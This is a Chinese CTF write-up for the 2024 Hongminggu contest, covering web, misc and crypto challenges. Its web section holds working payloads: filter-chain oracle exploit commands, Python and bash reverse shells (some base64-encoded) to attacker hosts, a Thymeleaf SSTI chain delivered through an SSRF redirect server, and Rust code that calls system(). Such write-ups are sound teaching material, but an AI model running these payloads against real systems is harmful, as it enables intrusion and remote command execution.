2024年数字中国创新第四届红明谷杯网络安全大赛WP
WEB
ezphp
题目描述：一支专注于卫星通信技术的研究团队正在努力改进他们的通信系统，以提高数据传输的效率和安全性，团队决定采用PHP 8.3.2来完善通信系统开发。
考点：php filter chain Oracle
PHP Filter链——基于oracle的文件读取攻击
参考：https://xz.aliyun.com/t/12939?time__1311=mqmhqIx%2BxfOD7DloaGkWepSazHG%3D4D#toc-16
题目给出源码如下
<?php highlight_file(__FILE__); // flag.php if (isset($_POST['f'])) { echo hash_file('md5', $_POST['f']); } ?>
这里可以用的项目：https://github.com/synacktiv/php_filter_chains_oracle_exploit/
考点：可用PHP Filter链-基于oracle的文件读取攻击生成exp执行，题目提示php版本号正好满足条件，下载exp进行利用
执行payload，这里可能需要多跑几次才可以
python3 filters_chain_oracle_exploit.py --target http://eci-2zea1zzp9231ugqw9htd.cloudeci1.ichunqiu.com/ --file flag.php --parameter f
访问/flag.php?ezphpPhp8，读取生成的源码
<?php if (isset($_GET['ezphpPhp8'])) { highlight_file(__FILE__); } else { die("No"); } $a = new class { function __construct() { } function getflag() { system('cat /flag'); } }; unset($a); $a = $_GET['ezphpPhp8']; $f = new $a(); $f->getflag(); ?>
题目提示PHP版本为php 8.3.2，去PHP官网看ChangeLog，直接锁定GH-13097
本地调试，发现这里是可以用匿名类去读取出来flag，构造payload
本地起个容器：
docker run -itd -p 1238:80 php:8.3.2-apache
docker exec -it <容器id> /bin/bash
放flag.php，测试代码如下：
<?php if (isset($_GET['ezphpPhp8'])) { // highlight_file(__FILE__); } else { // die("No"); } $anonymous = new class { function __construct() { } function getflag() { system('cat /flag'); } }; $a = get_class($anonymous); echo urlencode($a); echo "\n"; unset($anonymous); //echo get_class($a).': now you see me...'; $a = urldecode("class%40anonymous%00%2Fvar%2Fwww%2Fhtml%2Fflag.php%3A7%240"); $f = new $a(); $f->getflag(); var_dump($f); //throw new Exception( // get_class($anonymous).' ...now you don\'t!', // E_USER_ERROR //);
可以看到能执行getflag方法：
构造exp：
/flag.php?ezphpPhp8=anonymous /flag.php?ezphpPhp8=class@anonymous%00/var/www/html/flag.php:7$1 /flag.php?ezphpPhp8=class@anonymous%00/var/www/html/flag.php:7$0
unauth
开局一个登录口
泄露了网站路径/www.zip中有admin的密码：
www.zip泄露源码如下：
<?php if (!isset($_SERVER['PHP_AUTH_USER'])) { header('WWW-Authenticate: Basic realm="Restricted Area"'); header('HTTP/1.0 401 Unauthorized'); echo '小明是运维工程师，最近网站老是出现bug。'; exit; } else { $validUser = 'admin'; $validPass = '2e525e29e465f45d8d7c56319fe73036'; if ($_SERVER['PHP_AUTH_USER'] != $validUser || $_SERVER['PHP_AUTH_PW'] != $validPass) { header('WWW-Authenticate: Basic realm="Restricted Area"'); header('HTTP/1.0 401 Unauthorized'); echo 'Invalid credentials'; exit; } } @eval($_GET['cmd']); highlight_file(__FILE__); ?>
简单审计一下，可以执行命令但大部分被ban了。
登录后，存在一句话木马，密码为cmd，ban了很多函数，经过测试发现可以用pcntl_exec反弹shell：
//POST传参，反弹shell 1=pcntl_exec("/usr/bin/python",array('-c','import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("VPS地址",port端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);')); 最终需要提权，尝试suid未果，发现存在配置文件config.inc.php，其密码是admin用户密码
<!--?php # If you are having problems connecting to the MySQL database and all of the variables below are correct # try changing the 'db_server' variable from localhost to 127.0.0.1. Fixes a problem due to sockets. # Thanks to @digininja for the fix. # Database management system to use $DBMS = 'MySQL'; #$DBMS = 'PGSQL'; // Currently disabled # Database variables # WARNING: The database specified under db_database WILL BE ENTIRELY DELETED during setup. # Please use a database dedicated to DVWA. # # If you are using MariaDB then you cannot use root, you must use create a dedicated DVWA user. # See README.md for more information on this. $_DVWA = array(); $_DVWA[ 'db_server' ] = '127.0.0.1'; $_DVWA[ 'db_database' ] = 'dvwa'; $_DVWA[ 'db_user' ] = 'root'; $_DVWA[ 'db_password' ] = 'b90e0086d8b1165403de6974c4167165'; # Only used with PostgreSQL/PGSQL database selection. $_DVWA[ 'db_port '] = '5432'; # ReCAPTCHA settings # Used for the 'Insecure CAPTCHA' module # You'll need to generate your own keys at: https://www.google.com/recaptcha/admin $_DVWA[ 'recaptcha_public_key' ] = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg'; $_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ'; # Default security level # Default value for the secuirty level with each session. # The default is 'impossible'. You may wish to set this to either 'low', 'medium', 'high' or impossible'. $_DVWA[ 'default_security_level' ] = 'impossible'; # Default PHPIDS status # PHPIDS status with each session. # The default is 'disabled'. You can set this to be either 'enabled' or 'disabled'. $_DVWA[ 'default_phpids_level' ] = 'disabled'; # Verbose PHPIDS messages # Enabling this will show why the WAF blocked the request on the blocked request. # The default is 'disabled'. You can set this to be either 'true' or 'false'. $_DVWA[ 'default_phpids_verbose' ] = 'false'; ?-->
发包反弹shell，执行命令来到交互式shell，利用获取到的密码b90e0086d8b1165403de6974c4167165切换admin用户读取flag即可
GET /?cmd=pcntl_exec('/usr/bin/python',['-c',base64_decode('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEyMy4xMjMuMTIzLjEyMyIsMTIzNCkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtpbXBvcnQgcHR5OyBwdHkuc3Bhd24oInNoIik=')]); HTTP/1.0 Host: xxx.com Pragma: no-cache Cache-Control: no-cache Authorization: Basic YWRtaW46MmU1MjVlMjllNDY1ZjQ1ZDhkN2M1NjMxOWZlNzMwMzY= Upgrade-Insecure-Requests: 1 WWW-Authenticate: Basic realm="Restricted Area User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,ja;q=0.8,vi;q=0.7 Cookie: PHPSESSID= Connection: close
playground
rust源码审计题目给出源码如下，这题基本给解烂了
#[macro_use] extern crate rocket; use std::fs; use std::fs::File; use std::io::Write; use std::process::Command; use rand::Rng; #[get("/")] fn index() -> String { fs::read_to_string("main.rs").unwrap_or(String::default()) } #[post("/rust_code", data = "<code>")] fn run_rust_code(code: String) -> String{ if code.contains("std") { return "Error: std is not allowed".to_string(); } //generate a random 5 length file name let file_name = rand::thread_rng() .sample_iter(&rand::distributions::Alphanumeric) .take(5) .map(char::from) .collect::<String>(); if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) { file.write_all(code.as_bytes()); } if let Ok(build_output) = Command::new("rustc") .arg(format!("playground/{}.rs",&file_name)) .arg("-C") .arg("debuginfo=0") .arg("-C") .arg("opt-level=3") .arg("-o") .arg(format!("playground/{}",&file_name)) .output() { if !build_output.status.success(){ fs::remove_file(format!("playground/{}.rs",&file_name)); return String::from_utf8_lossy(build_output.stderr.as_slice()).to_string(); } } fs::remove_file(format!("playground/{}.rs",&file_name)); if let Ok(output) = Command::new(format!("playground/{}",&file_name)) .output() { if !output.status.success(){ fs::remove_file(format!("playground/{}",&file_name)); return String::from_utf8_lossy(output.stderr.as_slice()).to_string(); } else{ fs::remove_file(format!("playground/{}",&file_name)); return String::from_utf8_lossy(output.stdout.as_slice()).to_string(); } } return String::default(); } #[launch] fn rocket() -> _ { let figment = rocket::Config::figment() .merge(("address", "0.0.0.0")); rocket::custom(figment).mount("/", routes![index,run_rust_code]) }
题目逻辑大致就是去构造rust_code执行rust代码，这里需要不出现std关键字，可执行命令，拷打ai就能出的题，绕过可调用C语言去执行，添加一个write函数()读就行了，附上payload
extern "C" { // Existing bindings to C library functions for file operations fn fopen(filename: *const u8, mode: *const u8) -> *mut u8; fn fread(buffer: *mut u8, size: usize, count: usize, stream: *mut u8) -> usize; fn fclose(stream: *mut u8) -> i32; // Bind to the `write` function for writing to a file descriptor fn write(fd: i32, buf: *const u8, count: usize) -> isize; } fn main() { unsafe { // Open the file in read mode ("r") let filename = b"/flag\0"; // C strings require a null-terminator let mode = b"r\0"; // Mode "r" for read let file_ptr = fopen(filename.as_ptr(), mode.as_ptr()); if !file_ptr.is_null() { let mut buffer = [0u8; 1024]; // Read from the file into the buffer let bytes_read = fread(buffer.as_mut_ptr(), 1, buffer.len(), file_ptr); if bytes_read > 0 { write(1, buffer.as_ptr(), bytes_read); } else { // Handle the case where nothing was read println!("Could not read from file or file was empty."); } // Close the file fclose(file_ptr); } else { // Handle the case where file couldn't be opened println!("Could not open the file."); } } }
POST /rust_code HTTP/1.1 Host: xxx Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-TW,zh-CN;q=0.9,zh;q=0.8 Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 146 extern "C" { fn system(s: *const u8) -> i32; } fn main() { unsafe { system(b"cat /flag\0".as_ptr() as *const u8); } }
或者：
POST /rust_code HTTP/1.1 Host: eci-2ze7qox8oygjcap3uy31.cloudeci1.ichunqiu.com:8000 Content-Length: 17 Content-Type: application/x-www-form-urlencoded include!("/flag")
Simp1escape
Thymeleaf模板注入/Location跳转赛后弄出来了，题目给了一个jar文件，进行反编译分析这一段
302跳转绕过，thymeleaf的SSTI
CurlController.class：
package com.example.controller; import com.example.utils.Utils; import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.File; import java.io.FileWriter; import java.io.InputStreamReader; import java.net.HttpURLConnection; import java.net.InetAddress; import java.net.URL; import java.util.concurrent.TimeUnit; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; @RestController public class CurlController { private static final String RESOURCES_DIRECTORY = "resources"; private static final String SAVE_DIRECTORY = "sites"; public CurlController() { } @RequestMapping({"/curl"}) public String curl(@RequestParam String url, HttpServletRequest request, HttpServletResponse response) throws Exception { if (!url.startsWith("http:") && !url.startsWith("https:")) { System.out.println(url.startsWith("http")); return "No protocol: " + url; } else { URL urlObject = new URL(url); String result = ""; String hostname = urlObject.getHost(); if (hostname.indexOf("../") != -1) { return "Illegal hostname"; } else { InetAddress inetAddress = InetAddress.getByName(hostname); if (Utils.isPrivateIp(inetAddress)) { return "Illegal ip address"; } else { try { String savePath = System.getProperty("user.dir") + File.separator + "resources" + File.separator + "sites"; File saveDir = new File(savePath); if (!saveDir.exists()) { saveDir.mkdirs(); } TimeUnit.SECONDS.sleep(4L); HttpURLConnection connection = (HttpURLConnection)urlObject.openConnection(); if (connection instanceof HttpURLConnection) { connection.connect(); int statusCode = connection.getResponseCode(); if (statusCode == 200) { BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream())); BufferedWriter writer; String line; for(writer = new BufferedWriter(new FileWriter(savePath + File.separator + hostname + ".html")); (line = reader.readLine()) != null; result = result + line + "\n") { } writer.write(result); reader.close(); writer.close(); } } return result; } catch (Exception var15) { return var15.toString(); } } } } } }
AdminController.class：
package com.example.controller; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.springframework.http.HttpStatus; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestParam; import org.thymeleaf.TemplateEngine; import org.thymeleaf.context.Context; import org.thymeleaf.spring5.SpringTemplateEngine; @Controller public class AdminController { public AdminController() { } @GetMapping({"/getsites"}) public String admin(@RequestParam String hostname, HttpServletRequest request, HttpServletResponse response) throws Exception { String ipAddress = request.getRemoteAddr(); if (!ipAddress.equals("127.0.0.1")) { response.setStatus(HttpStatus.FORBIDDEN.value()); return "forbidden"; } else { Context context = new Context(); TemplateEngine engine = new SpringTemplateEngine(); String dispaly = engine.process(hostname, context); return dispaly; } } }
漏洞点肯定是AdminController这里，但是限制了本地访问，但可以用 302 跳转绕过。thymeleaf的SSTI可以参考上次rwctf的原题
https://boogipop.com/2024/01/29/RealWorld%20CTF%206th%20%E6%AD%A3%E8%B5%9B_%E4%BD%93%E9%AA%8C%E8%B5%9B%20%E9%83%A8%E5%88%86%20Web%20Writeup/#chatterbox%EF%BC%88solved%EF%BC%89
/curl?url=http://vps:port/exploit.php
exploit.php: <?php header("Location:http://127.0.0.1:8080/getsites?hostname=[[${T(org.thymeleaf.util.ClassLoaderUtils).loadClass('org.apa'+'che.logging.log4j.util.LoaderUtil').newInstanceOf('org.spr'+'ingframework.expression.spel.standard.SpelExpressionParser').parseExpression('T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8wLjAuMC4wLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}")').getValue()}]]
或者：
在服务器上跑个Flask，重定向到127.0.0.1:8080
from flask import Flask, redirect, url_for, render_template, request app = Flask(__name__) @app.route('/', methods=['POST', 'GET']) def login(): exp = "%3c%61%20%74%68%3a%68%72%65%66%3d%22%24%7b%27%27%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%27%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%27%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4c%6a%45%75%4d%53%34%78%4c%7a%49%35%4f%54%6b%35%49%44%41%2b%4a%6a%45%3d%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%27%29%7d%22%20%74%68%3a%74%69%74%6c%65%3d%27%70%65%70%69%74%6f%27%3e" return redirect(f"http://127.0.0.1:8080/getsites?hostname={exp}"); if __name__ == '__main__': app.run(host="0.0.0.0", port=5000)
再利用题目/curl接口ssrf即可：
/curl?url=http://1.1.1.1:5000/
监听等反弹shell即可：
nc -lvvp 29999
easyescape
设置了ttl=0，并且解析到实际发起请求有4s的间隔。还以为是DNS rebinding，但实测不行，今天看了看确实是两次请求，存在DNS重绑定攻击的可能，但本地还是远程都打不通。利用302跳转可以绕过。[图片] 内网就是个Thymeleaf SSTI，又出网，直接弹shell。
Context context = new Context(); SpringTemplateEngine engine = new SpringTemplateEngine(); return engine.process(hostname, (IContext)context);
hostname填这个：
[[${T(java.lang.Boolean).forName("com.fasterxml.jackson.databind.ObjectMapper").newInstance().readValue("{}",T(java.lang.Boolean).forName("org.springframework.expression.spel.standard.SpelExpressionParser")).parseExpression("T(Runtime).getRuntime().exec('calc')").getValue()}]]
Misc
定位签到
题目描述：
题目内容：BD09 longitude: 117.813707, latitude: 26.381977
（提交格式：flag{4个中文字}）
https://lbsyun.baidu.com/jsdemo/demo/yLngLatLocation.htm
加密流量
Wireshark打开之后可以看到少量的数据包。
在第4个和第5个UDP包的Data字段可以看到hex数据。
分别hex解密看看结果：
现在得到如下信息：
HANDSHAKEAES-EBC FF
那么本道题的主旋律肯定是AES-ECB解密，以及在某个环节需要FF出场。接下来就是漫长的脑洞解密，挨个尝试解密数据包的Data字段。最终发现过滤UDP协议后，在第7个数据包和第31个数据包中可以提取出hex数据。
ada796133d9a31fa60df7a80fd81eaf6114e62d593b31a3d9eb9061c446a505698608c1e8a0e002b55272a33268c3752
第31个数据包
ada796133d9a31fa60df7a80fd81eaf6a8642abc3e1b87b97d5914deaf34a5990de3339105f40d4bca0dc7c82893c8f470d2ce54ec5386a6e7dda6adbe92c7fdbb0f328790f6a2f098084892b2f2554fc6e632da9e00f4791118444dc7f58666f1a568ed25a8a4ef039bc2d92432e514f1a568ed25a8a4ef039bc2d92432e514f1
……
5de1412332af74da88961b8df9c59ded5de1412332af74da88961b8df9c59ded5de1412332af74da88961b8df9c59ded5de1412332af74da88961b8df9c59ded5de1412332af74da88961b8df9c59ded5de14123c85cd6129c2a98f1c62bcbd45ca9f559
对比可以发现，前32个字符是一致的，分别将数据异或FF之后观察。第7个数据包中前32个字符ada796133d9a31fa60df7a80fd81eaf6异或FF之后的结果是525869ecc265ce059f20857f027e1509，猜测这个大概率是Key。
删掉第7个数据包中前32个字符，解密剩下的数据，是一个测试的flag：
114e62d593b31a3d9eb9061c446a505698608c1e8a0e002b55272a33268c3752
再用525869ecc265ce059f20857f027e1509作为Key来解密第31个数据包，同样的，要删掉第31个数据包Data字段的前32个字符。
综上，可以得到一个ole2文档，接下来可以分析文档宏代码，也可以用https://github.com/decalage2/oletools来提取。
pip3 install oletools
olevba download.ole2
可以得到6c666b6d713f333f323c383a6b6c6f3e693f3c6f683b396f326c6e683f6f3b3a6e3e6c3d3977再使用Cyberchef的XOR Brute Force模块来解密，发现再次异或0a即可得到flag：
Crypto
CDMA
给出的signal数据存在高斯噪声，先降噪，求平均值即可然后整个算法可以看作是
但是这个也不是正正好就是模2的矩阵乘法，向量内积的时候元素加元素是异或（模2加），但是最后做加法的时候又是单纯求和 不过 0，1的异或算法，和 1，-1的乘法运算可以一一对应
因此上面的运算也可以映射成矩阵乘法，（正负好像得反一下）
于是 S 就可以看作是由 chips 线性变换而来，并且 chips 只有 1 和 -1，于是直接对 S 求一个LLL
得到 chips 后
根据 cdma 的转换后的正交特性
于是我们计算
即可得到
这样子flag就由列向量变成行向量了。不过因为这里使用的 1 和 -1，题目的基是 0 和 1，所以结果并不是32的倍数，不过根据实践结果来看，也不复杂，只有两种可能。
with open("output.pkl", "rb") as file: signal = pickle.load(file) single_signal_list = [] signals = [] signals_col = [] for i in range(0,len(signal)//1997): single_signal_list = signal[i*1997:(i+1)*1997] single_signal = round((sum(single_signal_list)/1997)*10) signals.append(single_signal) if len(signals) == 32: signals_col.append(signals) signals = [] signals_matrix = matrix(ZZ,signals_col) chips = signals_matrix.LLL()[-11:-1] M_T = chips * signals_matrix.T for m in M_T: tag = m[0] flag=''.join(['0' if i == tag else '1' for i in m]) print(int.to_bytes(int(flag,2),48))
赛题web源码下载：
链接: https://pan.baidu.com/s/1iaknIj8wHk4FXNSnxnnLKQ 提取码: xd7c
参考地址：
